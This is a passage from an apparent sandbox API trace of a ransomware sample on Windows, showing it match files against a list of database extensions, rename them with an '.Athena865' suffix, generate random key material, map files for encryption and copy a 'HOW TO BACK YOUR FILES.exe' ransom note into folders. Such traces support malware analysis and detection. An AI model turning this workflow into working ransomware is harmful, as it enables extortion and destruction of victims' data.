(lpString1="-ms", lpString2="$er") returned 1 [0103.593] lstrlenW (lpString="4dd") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0103.593] lstrlenW (lpString="4dl") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0103.593] lstrlenW (lpString="^^^") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0103.593] lstrlenW (lpString="abs") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0103.593] lstrlenW (lpString="abx") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0103.593] lstrlenW (lpString="accdb") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0103.593] lstrlenW (lpString="accdc") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0103.593] lstrlenW (lpString="accde") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0103.593] lstrlenW (lpString="accdr") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0103.593] lstrlenW (lpString="accdt") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0103.593] lstrlenW (lpString="accdw") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0103.593] lstrlenW (lpString="accft") returned 5 [0103.593] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0103.593] lstrlenW (lpString="adb") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0103.593] lstrlenW (lpString="adb") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0103.593] lstrlenW (lpString="ade") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0103.593] lstrlenW (lpString="adf") returned 3 [0103.593] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0103.594] lstrlenW (lpString="adn") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0103.594] lstrlenW (lpString="adp") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0103.594] lstrlenW (lpString="alf") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0103.594] lstrlenW (lpString="ask") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0103.594] lstrlenW (lpString="btr") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0103.594] lstrlenW (lpString="cat") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0103.594] lstrlenW (lpString="cdb") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0103.594] lstrlenW (lpString="ckp") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0103.594] lstrlenW (lpString="cma") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0103.594] lstrlenW (lpString="cpd") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0103.594] lstrlenW (lpString="dacpac") returned 6 [0103.594] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0103.594] lstrlenW (lpString="dad") returned 3 [0103.594] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0103.594] lstrlenW (lpString="dadiagrams") returned 10 [0103.594] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0103.594] lstrlenW (lpString="daschema") returned 8 [0103.594] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0103.594] lstrlenW (lpString="db-journal") returned 10 [0103.594] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0103.594] lstrlenW (lpString="db-shm") returned 6 [0103.594] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0103.594] lstrlenW (lpString="db-wal") returned 6 [0103.595] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0103.595] lstrlenW (lpString="dbc") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0103.595] lstrlenW (lpString="dbs") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0103.595] lstrlenW (lpString="dbt") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0103.595] lstrlenW (lpString="dbv") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0103.595] lstrlenW (lpString="dbx") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0103.595] lstrlenW (lpString="dcb") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0103.595] lstrlenW (lpString="dct") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0103.595] lstrlenW (lpString="dcx") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0103.595] lstrlenW (lpString="ddl") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0103.595] lstrlenW (lpString="dlis") returned 4 [0103.595] lstrcmpiW (lpString1="s-ms", lpString2="dlis") returned 1 [0103.595] lstrlenW (lpString="dp1") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0103.595] lstrlenW (lpString="dqy") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0103.595] lstrlenW (lpString="dsk") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0103.595] lstrlenW (lpString="dsn") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0103.595] lstrlenW (lpString="dtsx") returned 4 [0103.595] lstrcmpiW (lpString1="s-ms", lpString2="dtsx") returned 1 [0103.595] lstrlenW (lpString="dxl") returned 3 [0103.595] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0103.595] lstrlenW (lpString="eco") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0103.596] lstrlenW (lpString="ecx") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0103.596] lstrlenW (lpString="edb") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0103.596] lstrlenW (lpString="epim") returned 4 [0103.596] lstrcmpiW (lpString1="s-ms", lpString2="epim") returned 1 [0103.596] lstrlenW (lpString="fcd") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0103.596] lstrlenW (lpString="fdb") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0103.596] lstrlenW (lpString="fic") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0103.596] lstrlenW (lpString="flexolibrary") returned 12 [0103.596] lstrcmpiW (lpString1="tinations-ms", lpString2="flexolibrary") returned 1 [0103.596] lstrlenW (lpString="fm5") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0103.596] lstrlenW (lpString="fmp") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0103.596] lstrlenW (lpString="fmp12") returned 5 [0103.596] lstrcmpiW (lpString1="ns-ms", lpString2="fmp12") returned 1 [0103.596] lstrlenW (lpString="fmpsl") returned 5 [0103.596] lstrcmpiW (lpString1="ns-ms", lpString2="fmpsl") returned 1 [0103.596] lstrlenW (lpString="fol") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0103.596] lstrlenW (lpString="fp3") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0103.596] lstrlenW (lpString="fp4") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0103.596] lstrlenW (lpString="fp5") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0103.596] lstrlenW (lpString="fp7") returned 3 [0103.596] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0103.597] lstrlenW (lpString="fpt") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0103.597] lstrlenW (lpString="frm") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0103.597] lstrlenW (lpString="gdb") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0103.597] lstrlenW (lpString="gdb") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0103.597] lstrlenW (lpString="grdb") returned 4 [0103.597] lstrcmpiW (lpString1="s-ms", lpString2="grdb") returned 1 [0103.597] lstrlenW (lpString="gwi") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0103.597] lstrlenW (lpString="hdb") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0103.597] lstrlenW (lpString="his") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0103.597] lstrlenW (lpString="ib") returned 2 [0103.597] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0103.597] lstrlenW (lpString="idb") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0103.597] lstrlenW (lpString="ihx") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0103.597] lstrlenW (lpString="itdb") returned 4 [0103.597] lstrcmpiW (lpString1="s-ms", lpString2="itdb") returned 1 [0103.597] lstrlenW (lpString="itw") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0103.597] lstrlenW (lpString="jet") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0103.597] lstrlenW (lpString="jtx") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0103.597] lstrlenW (lpString="kdb") returned 3 [0103.597] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0103.597] lstrlenW (lpString="kexi") returned 4 [0103.597] lstrcmpiW (lpString1="s-ms", lpString2="kexi") returned 1 [0103.598] lstrlenW (lpString="kexic") returned 5 [0103.598] lstrcmpiW (lpString1="ns-ms", lpString2="kexic") returned 1 [0103.598] lstrlenW (lpString="kexis") returned 5 [0103.598] lstrcmpiW (lpString1="ns-ms", lpString2="kexis") returned 1 [0103.598] lstrlenW (lpString="lgc") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0103.598] lstrlenW (lpString="lwx") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0103.598] lstrlenW (lpString="maf") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0103.598] lstrlenW (lpString="maq") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0103.598] lstrlenW (lpString="mar") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0103.598] lstrlenW (lpString="marshal") returned 7 [0103.598] lstrcmpiW (lpString1="ions-ms", lpString2="marshal") returned -1 [0103.598] lstrlenW (lpString="mas") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0103.598] lstrlenW (lpString="mav") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0103.598] lstrlenW (lpString="maw") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0103.598] lstrlenW (lpString="mdbhtml") returned 7 [0103.598] lstrcmpiW (lpString1="ions-ms", lpString2="mdbhtml") returned -1 [0103.598] lstrlenW (lpString="mdn") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0103.598] lstrlenW (lpString="mdt") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0103.598] lstrlenW (lpString="mfd") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0103.598] lstrlenW (lpString="mpd") returned 3 [0103.598] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0103.598] lstrlenW (lpString="mrg") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0103.599] lstrlenW (lpString="mud") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0103.599] lstrlenW (lpString="mwb") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0103.599] lstrlenW (lpString="myd") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0103.599] lstrlenW (lpString="ndf") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0103.599] lstrlenW (lpString="nnt") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0103.599] lstrlenW (lpString="nrmlib") returned 6 [0103.599] lstrcmpiW (lpString1="ons-ms", lpString2="nrmlib") returned 1 [0103.599] lstrlenW (lpString="ns2") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0103.599] lstrlenW (lpString="ns3") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0103.599] lstrlenW (lpString="ns4") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0103.599] lstrlenW (lpString="nsf") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0103.599] lstrlenW (lpString="nv") returned 2 [0103.599] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0103.599] lstrlenW (lpString="nv2") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0103.599] lstrlenW (lpString="nwdb") returned 4 [0103.599] lstrcmpiW (lpString1="s-ms", lpString2="nwdb") returned 1 [0103.599] lstrlenW (lpString="nyf") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0103.599] lstrlenW (lpString="odb") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0103.599] lstrlenW (lpString="odb") returned 3 [0103.599] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0103.599] lstrlenW (lpString="oqy") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0103.600] lstrlenW (lpString="ora") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0103.600] lstrlenW (lpString="orx") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0103.600] lstrlenW (lpString="owc") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0103.600] lstrlenW (lpString="p96") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0103.600] lstrlenW (lpString="p97") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0103.600] lstrlenW (lpString="pan") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0103.600] lstrlenW (lpString="pdb") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0103.600] lstrlenW (lpString="pdm") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0103.600] lstrlenW (lpString="pnz") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0103.600] lstrlenW (lpString="qry") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0103.600] lstrlenW (lpString="qvd") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0103.600] lstrlenW (lpString="rbf") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0103.600] lstrlenW (lpString="rctd") returned 4 [0103.600] lstrcmpiW (lpString1="s-ms", lpString2="rctd") returned 1 [0103.600] lstrlenW (lpString="rod") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0103.600] lstrlenW (lpString="rodx") returned 4 [0103.600] lstrcmpiW (lpString1="s-ms", lpString2="rodx") returned 1 [0103.600] lstrlenW (lpString="rpd") returned 3 [0103.600] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0103.601] lstrlenW (lpString="rsd") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0103.601] lstrlenW (lpString="sas7bdat") returned 8 [0103.601] lstrcmpiW (lpString1="tions-ms", lpString2="sas7bdat") returned 1 [0103.601] lstrlenW (lpString="sbf") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0103.601] lstrlenW (lpString="scx") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0103.601] lstrlenW (lpString="sdb") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0103.601] lstrlenW (lpString="sdc") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0103.601] lstrlenW (lpString="sdf") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0103.601] lstrlenW (lpString="sis") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0103.601] lstrlenW (lpString="spq") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0103.601] lstrlenW (lpString="te") returned 2 [0103.601] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0103.601] lstrlenW (lpString="teacher") returned 7 [0103.601] lstrcmpiW (lpString1="ions-ms", lpString2="teacher") returned -1 [0103.601] lstrlenW (lpString="tmd") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0103.601] lstrlenW (lpString="tps") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0103.601] lstrlenW (lpString="trc") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0103.601] lstrlenW (lpString="trc") returned 3 [0103.601] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0103.602] lstrlenW (lpString="trm") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0103.602] lstrlenW (lpString="udb") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0103.602] lstrlenW (lpString="udl") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0103.602] lstrlenW (lpString="usr") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0103.602] lstrlenW (lpString="v12") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0103.602] lstrlenW (lpString="vis") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0103.602] lstrlenW (lpString="vpd") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0103.602] lstrlenW (lpString="vvv") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0103.602] lstrlenW (lpString="wdb") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0103.602] lstrlenW (lpString="wmdb") returned 4 [0103.602] lstrcmpiW (lpString1="s-ms", lpString2="wmdb") returned -1 [0103.602] lstrlenW (lpString="wrk") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0103.602] lstrlenW (lpString="xdb") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0103.602] lstrlenW (lpString="xld") returned 3 [0103.602] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0103.602] lstrlenW (lpString="xmlff") returned 5 [0103.602] lstrcmpiW (lpString1="ns-ms", lpString2="xmlff") returned -1 [0103.602] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.Athena865") returned 114 [0103.602] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\documents and settings\\default\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0103.605] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.605] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5632) returned 1 [0103.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.605] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.606] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.606] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.606] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1900, lpName=0x0) returned 0x154 [0103.608] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1900) returned 0x100000 [0103.609] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.610] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.610] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.610] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.610] CloseHandle (hObject=0x154) returned 1 [0103.610] CloseHandle (hObject=0x17c) returned 1 [0103.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.611] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.611] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.611] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.611] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.611] ReleaseMutex (hMutex=0xec) returned 1 [0103.611] CloseHandle (hObject=0xec) returned 1 [0103.611] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations" | out: lpString1="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations") returned="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations" [0103.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502628 | out: hHeap=0x4f0000) returned 1 [0103.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x4f0000) returned 1 [0103.611] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations") returned 59 [0103.611] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9ADA439F8241613F4789B53FA27A1F5F") returned 0xec [0103.611] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.611] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations" | out: lpString1="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations") returned="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations" [0103.611] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.611] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.612] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.612] GetLastError () returned 0x0 [0103.612] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.612] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.613] CloseHandle (hObject=0xf4) returned 1 [0103.613] HeapFree (in: 